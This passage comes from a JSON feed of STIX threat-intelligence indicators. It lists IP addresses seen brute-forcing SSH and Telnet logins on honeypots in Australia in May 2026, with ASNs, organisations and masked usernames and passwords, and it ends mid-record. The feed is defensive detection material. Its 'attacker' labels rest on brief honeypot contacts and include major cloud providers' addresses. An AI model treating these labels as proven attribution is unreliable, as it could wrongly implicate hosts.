      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AO. ASN(s): 37468. Organisation(s): ANGOLA-CABLES. Usernames observed (masked): u****u, a***n, d******r, r**t, 3**********4. Passwords observed (masked): 1****e, 3***********4, 3**********4, !***%, *.",
      "id": "indicator--d13b0f30-0add-43ce-b610-38be5b297add",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.219.126.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:15:11.000Z",
      "valid_until": "2026-06-06T22:15:08.000Z"
    },
    {
      "created": "2026-05-05T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58466. Organisation(s): CHINANET Guangdong province network. Usernames observed (masked): d****y. Passwords observed (masked): 1**********y.",
      "id": "indicator--0664aa34-80f3-4430-84c1-67d714218803",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.18.88.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:15:11.000Z",
      "valid_until": "2026-06-06T22:15:08.000Z"
    },
    {
      "created": "2026-05-05T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): a***n. Passwords observed (masked): a*******3.",
      "id": "indicator--08f9a4d1-9337-4e9f-a52c-dea2825c187b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:15:11.000Z",
      "valid_until": "2026-06-06T22:15:08.000Z"
    },
    {
      "created": "2026-05-05T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 39264. Organisation(s): Region Svyaz Konsalt LLC.",
      "id": "indicator--6a526b1a-bc00-4541-a134-5ba525b2e9c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.18.12.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:15:11.000Z",
      "valid_until": "2026-06-06T22:15:08.000Z"
    },
    {
      "created": "2026-05-05T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--277af3c8-aad3-4970-b5cf-d7b021324bbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.120.120.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:15:11.000Z",
      "valid_until": "2026-06-06T22:15:08.000Z"
    },
    {
      "created": "2026-05-05T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--fd74beb0-83a8-4342-b3f8-d31ea8ff4039",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.53.146.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:15:11.000Z",
      "valid_until": "2026-06-06T22:15:08.000Z"
    },
    {
      "created": "2026-05-05T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): n**e, 3**********4, d******r, r**t. Passwords observed (masked): 1******X, 3***********4, 3**********4, a******d, t**t.",
      "id": "indicator--86e41c34-cfe7-4747-b7b5-22ed06f10f70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.46.1.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:15:11.000Z",
      "valid_until": "2026-06-06T22:15:08.000Z"
    },
    {
      "created": "2026-05-05T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--353f23e2-3d54-4ea0-985e-95aac6d569a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.113.64.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:15:11.000Z",
      "valid_until": "2026-06-06T22:15:08.000Z"
    },
    {
      "created": "2026-05-05T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada.",
      "id": "indicator--900382fd-a619-467c-b2c5-0ee809d91994",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.12.41.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T22:15:11.000Z",
      "valid_until": "2026-06-06T22:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 37649. Organisation(s): Tigo.",
      "id": "indicator--f8dae721-39d3-4689-9664-1d6a3b0c9628",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.164.160.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 310. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CD. ASN(s): 328442. Organisation(s): UNITED-SA. Usernames observed (masked): r**t, u****u, 3**********4, ***, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1**********y.",
      "id": "indicator--efe1102d-802c-4340-91f9-6d9fe6e955cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.216.240.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 138873. Organisation(s): PT GREEN NET INDONESIA.",
      "id": "indicator--72c31d6c-ff0d-484e-83e6-032041f37f47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.140.78.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 45668. Organisation(s): AIMS Data Centre Sdn Bhd.",
      "id": "indicator--3d546136-218b-4ded-8e84-0e85cdf7e1a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.74.178.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--7670bb80-f63e-4ea9-9aee-c78fefe444bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.139.245.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 7506. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t, u****u, 3**********4, ***, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1**********y.",
      "id": "indicator--4eb81434-3cf8-494e-a546-05fd8e9266bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.95.157.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--035190dc-51ba-4658-ae89-2a86f8e30a50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.97.81.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): u**r. Passwords observed (masked): 1**4.",
      "id": "indicator--ad1a30b7-8ba2-411e-a71e-91fd6d234475",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37105. Organisation(s): RAIN-GROUP-HOLDINGS.",
      "id": "indicator--1a839d2b-2c5b-4550-b757-3f9395762d56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.185.161.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--13de0dd0-02e9-4386-b30f-3d37efd8dc84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 47438. Organisation(s): Pskovline Ltd..",
      "id": "indicator--c227dc9b-087c-4bae-9fa7-57318d5fcea0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.23.30.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:15:10.000Z",
      "valid_until": "2026-06-06T23:15:08.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 151844. Organisation(s): INetwork Pvt. Ltd..",
      "id": "indicator--d2bbde2b-52a8-4a25-8f61-39adb72aa051",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.249.114.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36884. Organisation(s): MAROCCONNECT.",
      "id": "indicator--346b1544-30f0-4f24-9a75-3b8f09be0cb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.79.75.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 264403. Organisation(s): CMTECH Com.e Serv.de Informatica Ltda. Usernames observed (masked): r**t. Passwords observed (masked): W**********$.",
      "id": "indicator--d910400c-5077-45a8-8596-2adcb4df1809",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.161.249.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4, ***, f*****r, s******1. Passwords observed (masked): #**********b, 1******3, 1**4, 1********0, 1******l.",
      "id": "indicator--ea3eab84-8d60-4148-a458-d722219393cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.209.4.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t. Passwords observed (masked): A*******3.",
      "id": "indicator--ea04e52d-ac1b-4d6f-b500-0855f226d49e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--6834b5cb-4f46-4068-b4b0-de1d9c963bf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.0.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 10139. Organisation(s): Smart Broadband, Inc..",
      "id": "indicator--317f89c7-c4da-4343-a655-99641dfd551d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.176.41.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--c1aa0c99-9d74-41c1-8302-32d76af59b68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.148.207.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 27895. Organisation(s): Nucleo S.A..",
      "id": "indicator--0af93b5e-411a-47bb-8043-b605c55e3157",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.94.229.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 32098. Organisation(s): Transtelco Inc.",
      "id": "indicator--775f8efe-7d75-4a70-962c-9b8d73a1780b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.249.9.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--5a83f8c8-f95b-41f9-8e3c-9217a9d26cfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--bf191712-c143-4c0b-9b14-2c2dd884bd0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--3681f207-72f7-46a1-917a-d8eaaa5af221",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 42555. Organisation(s): OPTICCOM- BULGARIA Ltd..",
      "id": "indicator--2582851b-b1f4-4afb-838e-8164a82fe73e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.236.227.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:15:05.000Z",
      "valid_until": "2026-06-07T00:15:03.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited. Usernames observed (masked): t**3. Passwords observed (masked): t**3.",
      "id": "indicator--1c2b50a3-2f50-421c-bce4-63371d05d58f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.109.186.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 329530. Organisation(s): Savanna_Fibre_Tanzania_Ltd.",
      "id": "indicator--e09c1911-42b8-4a9c-bb48-3d5804ef3af7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.205.251.242']",
      "pattern_type": "stix",
